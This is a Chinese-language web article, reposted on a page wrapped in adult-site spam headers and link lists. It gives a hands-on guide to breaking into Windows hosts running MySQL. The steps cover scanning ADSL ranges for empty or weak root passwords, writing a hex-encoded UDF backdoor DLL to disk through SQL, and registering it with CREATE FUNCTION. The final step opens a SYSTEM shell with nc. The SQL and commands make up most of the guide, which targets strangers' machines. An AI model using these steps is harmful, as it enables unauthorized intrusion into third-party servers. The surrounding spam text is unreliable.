av一区二区在线观看_亚洲男人的天堂网站_日韩亚洲视频_在线成人免费_欧美日韩精品免费观看视频_久草视

您的位置:首頁技術文章
文章詳情頁

由mysql弱口令取得windows的system權限的實戰

瀏覽:53日期:2024-02-10 17:30:58

今年五月mix在幻影論壇公布了一篇關于mysql入侵的文章(<執行系統命令>>,連接地址http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006),反應強烈.隨

后不久,黑客基地古典辣m做了個演示動畫,可惜其中的用到mysql.txt并沒有公布,造成很多不熟悉mysql的

人不能實戰入侵mysql. 其實通過注冊mysql 的UDF DLL中自寫的Function而執行任意命令早在去年12月已經公布了,參看文章

http://www.ph4nt0m.org/bbs/showthread.php?s=&threadid=33331而mix實現直接從mysql客戶端傳送二

進制文件進入服務端硬盤中,不得不說是一個了不起的發現!下面我來說說我的入侵實戰!

1.打開hscan1.2掃描一段ip,我推薦大家掃描adsl所在的ip段,因為這些段ip的主人安全意思差,從而

能掃到大量的mysql的root口令為空且有訪問mysql默認數據庫mysql的權限. 2.在自己的機器上裝個mysql for windows.下載地址

http://download.pchome.net/internet/server/dbserver/2506.html 3.在幻影論壇下載個my_udf.dll或者mix.dll(我比較偏好my_udf.dll,因為mix.dll會造成mysql假

死). 4.運行winhex,打開my_udf.dll,點edit菜單下面的copy all選hex values;打開記事本,點粘貼,這樣

就把十六進制的my_udf.dll復制進去了! 5.再打開另外個記事本寫入如下語句: use mysql; set @a=concat('',0x...) create table Mix(data LONGBLOB); insert into Mix values('');update Mix set data = @a; select data from Mix into DUMPFILE 'c:my_udf.dll'; CREATE FUNCTION my_udfdoor RETURNS STRING SONAME 'c:my_udf.dll'; select my_udfdoor(''); 6.把第四步中記事本上的十六進制數據復制出來替換掉第5步中第二行語句中的'...',并保存到c盤根

目錄下面,命名為mysql.txt. 7.在本地打開一個dos命令窗口,跳轉到mysql安裝目錄下面,輸入mysql -h218.1.1.1 -uroot -p123 (注意,把218.1.1.1,root,123分別替換為你的hscan掃描到的ip,username,password的值.如果password的

值為空,則可以不需要參數-p); 8.在第7步中連接成功遠程mysql服務器的話,就輸入 . c:mysql.txt并敲一下回車.如果遠程mysql

是運行在windows操作系統下的且你掃描到的mysql帳號權限足夠高的話,就會成功在遠程服務器上裝上你

的后門. 9.最后用nc來連接此服務器的3306端口,并輸入密碼fuck,按回車,如果shell沒有出來,就多敲幾次回

車.如果還是不出shell,那就換個目標試一試吧.

標簽: Windows系統
相關文章:
主站蜘蛛池模板: 91久久 | 久久成人精品一区二区三区 | 永久av| av影音资源 | 日韩精品一区二区三区在线观看 | 久久之精品 | 亚洲一二视频 | 亚洲激情在线视频 | 亚洲精品乱码8久久久久久日本 | www.操.com| 粉嫩在线| 久久久无码精品亚洲日韩按摩 | 色欧美片视频在线观看 | 欧美午夜在线 | 久久综合伊人 | www亚洲精品| 91porn成人精品| 欧美午夜一区 | 狠狠狠干 | 久久综合一区 | 国产精品美女久久久久aⅴ国产馆 | 国产精品国产成人国产三级 | 日韩免费看片 | 亚洲精品18 | 亚洲国产成人在线 | 欧美三区在线观看 | 欧美韩一区二区三区 | 中文字幕精品视频 | av中文字幕在线播放 | 欧美日本一区二区 | 国产精品视频97 | 99热播精品| 91精品一区二区三区久久久久久 | 国产一区二区在线免费视频 | 日本一卡精品视频免费 | 97超碰成人| 国产日韩一区二区三免费高清 | 成人一区二区三区在线观看 | 日韩精品免费在线观看 | 久久九精品 | 欧美精品一级 |